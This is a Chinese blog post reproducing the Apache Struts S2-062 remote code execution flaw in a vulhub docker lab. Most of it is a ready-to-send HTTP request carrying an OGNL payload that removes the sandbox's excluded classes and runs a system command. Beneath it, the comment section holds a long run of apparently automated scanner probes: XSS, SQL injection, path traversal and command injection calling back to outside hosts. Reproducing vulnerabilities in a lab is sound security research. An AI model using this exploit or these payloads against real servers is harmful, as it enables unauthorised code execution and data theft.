首页 漏洞

1.漏洞简介

针对 CVE-2020-17530 发布的修复不完整。因此，从 Apache Struts 2.0.0 到 2.5.29，如果开发人员通过使用 %{…} 语法应用强制 OGNL 评估，仍然有一些标签的属性可以执行双重评估。对不受信任的用户输入使用强制 OGNL 评估可能会导致远程代码执行漏洞。

2.漏洞影响版本范围

2.0.0 ≤ Apache Struts ≤2.5.29
Struts ≥ 2.5.30的版本不受影响

3.漏洞修复方法

目前官方已发布最新版本，建议受影响的用户及时更新升级到最新版本，下载链接：

https://struts.apache.org/download.cgi#struts-ga

5.漏洞环境搭建(docker环境)

使用vulhub/struts2/s2-061/
版本:struts2.5.25
GitHub链接：
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

6.S2-062漏洞复现

POST /index.action HTTP/1.1
Host: 192.168.188.128:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1095

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

请输入图片描述

无标签
版权属于：classic0796
作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可
文章评论
    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    <%={{={@{#{${dfb}}%>

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    19299768

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    '"()&%<zzz><ScRiPt >N0u1(9793)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:22   回复

    1'"()&%<zzz><ScRiPt >N0u1(9996)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 0:50   回复

    1

    1 访客ChromeWindows
    2022-08-30 0:50   回复

    1

    1 访客ChromeWindows
    2022-08-29 21:09   回复

    '"()&%<zzz><ScRiPt >WhrM(9627)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 21:09   回复

    1

    1 访客ChromeWindows
    2022-08-29 21:08   回复

    19628513

    1 访客ChromeWindows
    2022-08-29 21:08   回复

    '"()&%<zzz><ScRiPt >9FQ4(9619)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 21:08   回复

    1

    1 访客ChromeWindows
    2022-08-29 21:08   回复

    1'"()&%<zzz><ScRiPt >9FQ4(9138)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 20:19   回复

    1'"()&%<zzz><ScRiPt >kI3k(9734)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    1

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    1

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    19915011

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    '"()&%<zzz><ScRiPt >ARC5(9053)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    1'"()&%<zzz><ScRiPt >ARC5(9046)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 20:16   回复

    1

    1 访客ChromeWindows
    2022-08-29 20:13   回复

    1

    1 访客ChromeWindows
    2022-08-29 20:13   回复

    '"()&%<zzz><ScRiPt >y0Eo(9172)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 20:13   回复

    1'"()&%<zzz><ScRiPt >y0Eo(9990)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 19:06   回复

    1<aCYMl1K<

    1 访客ChromeWindows
    2022-08-29 19:06   回复

    1<img sRc='http://attacker-9200/log.php?

    1 访客ChromeWindows
    2022-08-29 19:06   回复

    1<aEgKemz x=9517>

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    bfgx1161%C0%BEz1%C0%BCz2a%90bcxhjl1161

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    19411919

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    '"()&%<zzz><ScRiPt >rGSW(9340)</ScRiPt>

    1 访客ChromeWindows
    2022-08-29 19:05   回复

    1'"()&%<zzz><ScRiPt >rGSW(9310)</ScRiPt>

    SomeCustomInjectedHeader: injected_by_wvs 访客ChromeWindows
    2022-08-29 19:00   回复

    1

      1 访客ChromeWindows
      2022-08-30 0:50   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:17   回复

      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

      1 访客ChromeWindows
      2022-08-29 21:17   回复

      -1)) OR 196=(SELECT 196 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      1 waitfor delay '0:0:15' --

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      -1" OR 2+96-96-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      -1 OR 2+422-422-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:16   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:15   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:15   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:15   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:15   回复

      19787320

      file:///etc/passwd 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:14   回复

      vsVGYbT6

      -1' OR 3+821-821-1=0+0+0+1 or 'onD7Jx9h'=' 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      -1' OR 2+736-736-1=0+0+0+1 -- 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      -1 OR 2+868-868-1=0+0+0+1 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      -1 OR 2+89-89-1=0+0+0+1 -- 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:14   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:09   回复

      1

    -1' OR 3+920-920-1=0+0+0+1 or 'D8rkF8Bg'=' 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    OOYlpuKe 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    -1' OR 3+932-932-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    -1 OR 3+536-536-1=0+0+0+1 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    -1 OR 2+489-489-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    1 访客ChromeWindows
    2022-08-29 19:00   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:59   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:55   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:55   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:55   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:55   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:53   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:53   回复

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    -1' OR 2+954-954-1=0+0+0+1 or 'LWJpjbmO'='

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    c:/windows/win.ini

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    ${@print(md5(31337))}\

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    Http://bxss.me/t/fit.txt

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    ";print(md5(31337));$a="

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    '+'A'.concat(70-3).concat(22*4).concat(110).concat(83).concat(101).concat(77)+(require'socket'
    Socket.gethostbyname('hitte'+'xnxpnatmca9d5.bxss.me.')[3].to_s)+'

    1 访客ChromeWindows
    2022-08-29 18:52   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    JsW2x3OD'; waitfor delay '0:0:15' -- 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:51   回复

    1biPXcmVO

    1 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    -1' OR 2+18-18-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    -1 OR 2+574-574-1=0+0+0+1 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    -1 OR 2+968-968-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:51   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:50   回复

    1

    1 访客ChromeWindows
    2022-08-29 18:44   回复

    1

      1 访客ChromeWindows
      2022-08-30 0:50   回复

      1

      1 访客ChromeWindows
      2022-08-30 0:50   回复

      1

      19952114 访客ChromeWindows
      2022-08-29 21:10   回复

      1

      1 访客ChromeWindows
      2022-08-29 21:09   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1' OR 2+220-220-1=0+0+0+1 or 'iWPif8Yc'='

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1' OR 3*2<(0+5+243-243) --

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1' OR 2+243-243-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1 OR 3*2>(0+5+442-442)

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1 OR 2+442-442-1=0+0+0+1

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1 OR 3+354-354-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 20:18   回复

      -1 OR 2+354-354-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      /xfs.bxss.me

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      1

      /xfs.bxss.me 访客ChromeWindows
      2022-08-29 20:17   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      ;(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")|(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")&(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      (nslookup hitanvxxufrnke10bb.bxss.me||perl -e "gethostbyname('hitanvxxufrnke10bb.bxss.me')")

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:17   回复

      |(nslookup hittdbxzjimds9cba3.bxss.me||perl -e "gethostbyname('hittdbxzjimds9cba3.bxss.me')")

      1 访客ChromeWindows
      2022-08-29 20:16   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:16   回复

      1

      1 访客ChromeWindows
      2022-08-29 20:13   回复

      1

      19167093 访客ChromeWindows
      2022-08-29 20:13   回复

      1

      1 访客ChromeWindows
      2022-08-29 19:07   回复

      1

      1 访客ChromeWindows
      2022-08-29 19:07   回复

      1

      1 访客ChromeWindows
      2022-08-29 19:07   回复

      1

      1 访客ChromeWindows
      2022-08-29 19:07   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      if(now()=sysdate(),sleep(15),0)

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1" OR 3*2<(0+5+836-836) --

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1" OR 2+836-836-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1' OR 3*2>(0+5+510-510) or '9OsLfYcN'='

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1' OR 2+510-510-1=0+0+0+1 or '9OsLfYcN'='

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1 OR 3+709-709-1=0+0+0+1

      1 访客ChromeWindows
      2022-08-29 18:56   回复

      -1 OR 2+709-709-1=0+0+0+1

      1 访客ChromeWindows
      2022-08-29 18:55   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:55   回复

      bxss.me

      1 访客ChromeWindows
      2022-08-29 18:55   回复

      ";print(md5(31337));$a="

      1 访客ChromeWindows
      2022-08-29 18:55   回复

      /etc/shells

      1 访客ChromeWindows
      2022-08-29 18:55   回复

      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

      1 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      ../../../../../../../../../../../../../../windows/win.ini 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      -1 OR 2+960-960-1=0+0+0+1 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      ../../../../../../../../../../../../../../etc/passwd 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      M4kSXFcF 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      -1 OR 3+163-163-1=0+0+0+1 -- 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      1LilTxy2O 访客ChromeWindows
      2022-08-29 18:54   回复

      1

      1 访客ChromeWindows
      2022-08-29 18:50   回复

      1

目录